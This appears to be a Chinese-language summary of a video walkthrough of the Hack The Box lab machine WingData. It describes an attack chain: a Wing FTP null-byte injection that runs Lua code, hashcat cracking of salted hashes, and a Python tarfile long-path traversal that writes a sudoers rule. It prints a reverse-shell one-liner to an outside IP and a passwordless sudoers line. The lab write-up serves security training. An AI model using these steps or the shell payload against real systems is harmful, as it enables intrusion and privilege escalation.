HackTheBox - WingData
三句話摘要
通過 Wing FTP null byte 注入、密碼破解與 Python tarfile CVE 實現 Hack The Box Wing Data 靶機的完整提權攻擊鏈 透過 null byte 注入、精確的密碼破解與 Python tarfile 路徑長度漏洞的組合利用,可完整實現從匿名遠端程式碼執行到 root 權限提升的攻擊鏈。 Wing FTP null byte 注入機制:應用於 C 語言中使用 null byte 終止的函數檢查使用者名稱,但後續 Lua 腳本使用長度終止的方式處理權限。攻擊者可構造 "anonymous\x00\n[lua程式碼]" 的使用者名稱,同時繞過 null byte 檢查與通過長度檢查,實現認證繞過與程式碼執行。
重點整理
重點- 1
Wing FTP null byte 注入機制:應用於 C 語言中使用 null byte 終止的函數檢查使用者名稱,但後續 Lua 腳本使用長度終止的方式處理權限。攻擊者可構造 "anonymous\x00\n[lua程式碼]" 的使用者名稱,同時繞過 null byte 檢查與通過長度檢查,實現認證繞過與程式碼執行。
- 2
密碼 hash 破解的隱藏陷阱:Wing FTP 官方文檔記載密碼儲存時會加入 salt,預設值為 "wing ftp" 字串。若不知道 salt 存在,直接嘗試破解將永遠失敗。使用 hashcat 時需按 "hash:salt" 格式組織資料,才能正確破解。
- 3
Python tarfile CVE 路徑長度繞過:Linux 檔案路徑限制為 4096 位元組,當 tar 檔案中路徑超過 247 字元時,os.path.realpath() 函數失敗並返回原始路徑,導致目錄遍歷保護被繞過,攻擊者可向任意位置寫入檔案。
- 4
安全考慮的檔案寫入選擇:不建議直接覆蓋 ~/.ssh/authorized_keys(無法預先讀取避免摧毀),改用寫入 /etc/sudoers.d/ 的 sudoers 規則或修改應用程式碼等更安全方法獲得提權。
實用技巧與重點
乾貨- 漏洞版本與 CVE:
- Wing FTP Server 版本:7.4.3
- CVE-2023-7344:null byte 注入遠端程式碼執行
- Python tarfile CVE:路徑長度繞過(Linux 247 字元限制、macOS 55 字元限制)
- 密碼破解參數:
- 演算法:SHA-256
- 預設鹽值:wing ftp
- Hashcat 模式:-m 1410
- Hash 格式:hash:salt
- 指令範例:`./hashcat -m 1410 hashes.txt wordlist.txt --username`
- 利用工具與指令:
- 反彈 shell 載荷(base64 編碼):`bash -i >& /dev/tcp/10.10.14.171/9001 0>&1`
- 漏洞指令碼路徑:/opt/backup_clients/restore_backup_clients.py
- Python 版本:Python 3.12(/usr/local/bin/python3)
- Sudoers 規則語法:`username ALL=(ALL) NOPASSWD:ALL`
- 寫入路徑:/etc/sudoers.d/(需無密碼 sudo 或已有檔案寫入權限)
- 漏洞鏈操作步驟:
- 構造 null byte 注入載荷登入 Wing FTP
- 通過 lua 程式碼執行反彈 shell
- 從配置擷取密碼 hash 與鹽值
- 使用 hashcat 破解 wacky 使用者密碼
- 建立超長路徑 tar 檔案繞過 realpath() 檢查
- 寫入 sudoers 規則獲得 sudo 權限
- 執行 `sudo bash` 獲得 root shell
結論
結論“透過 null byte 注入、精確的密碼破解與 Python tarfile 路徑長度漏洞的組合利用,可完整實現從匿名遠端程式碼執行到 root 權限提升的攻擊鏈。”
完整解析
詳細Wing Data 是一個多層次漏洞的組合攻擊靶機。初期偵查發現 HTTP 和 SSH 服務,訪問 HTTP 頁面後在頁面內鏈結中發現 FTP 服務指向 ftp.wingdata.htb。通過 CVE 資料庫檢索 Wing FTP 7.4.3 版本,發現 CVE-2023-7344 null byte 注入漏洞可實現遠端程式碼執行。
該漏洞的根源在於 Wing FTP 的認證邏輯設計缺陷。使用者名稱驗證採用 C 語言的 null byte 終止函數(只讀取到第一個 null byte),但後續權限檢查的 Lua 腳本採用長度終止方式(處理整個字串)。攻擊者利用此差異,將使用者名稱設為 "anonymous\x00\n[lua 程式碼]",同時滿足兩種驗證方式。講者通過該漏洞以 anonymous 身份註入 Lua 程式碼,在伺服器端執行任意命令。為避免特殊字元編碼問題導致 base64 載荷損壞,講者將反彈 shell 命令編碼為 base64,再透過 URL 編碼將所有空格轉換為加號,最終成功建立反向連線。
獲得初始存取後,講者從應用程式配置目錄提取所有使用者密碼 hash。關鍵發現是所有 hash 皆使用 SHA-256 演算法,且附加鹽值。通過檢視官方文檔與配置檔案,確認預設鹽值為字串 "wing ftp"。這是許多滲透測試人員的常見陷阱——不知道鹽值存在,導致持續破解失敗。使用 hashcat 工具配合正確的鹽值格式(hash:salt),快速破解出 wacky 使用者密碼。
登入 wacky 使用者後,sudo 權限檢查顯示可執行 /opt/backup_clients/restore_backup_clients.py。該指令碼使用 Python 3.12(由系統管理員單獨安裝在 /usr/local/bin,脫離套件管理)處理 tar 檔案備份與恢復。檢視原始碼發現其使用 Python tarfile 模組,該模組存在 CVE 漏洞。
漏洞利用依賴 Linux 檔案路徑長度限制。當路徑超過 247 字元時,os.path.realpath() 函數會失敗並返回原始路徑。指令碼使用 realpath() 來防止符號連結逃逸,但當 tar 檔案內包含超長路徑時,防護機制被繞過。講者建立包含大量 "../" 序列的長路徑 tar 檔案,實現路徑遍歷突破,最終成功向 /etc/sudoers.d 目錄寫入新的 sudoers 規則,為 wacky 使用者添加無密碼 sudo 權限,執行 `sudo bash` 獲得 root shell。講者特別說明未直接覆蓋 ~/.ssh/authorized_keys 的原因,是因為無法預先讀取該檔案內容,直接覆蓋可能會摧毀生產環境中的其他使用者金鑰。
關鍵時刻
Pipeline v2帶時間戳的重點,會在逐字稿層級分析上線後產生。目前請先透過原始影片觀看。
事實查核
Pipeline v2說法查證是下一次管線升級的一部分。KeyFrame 只會顯示它真正能驗證的內容。

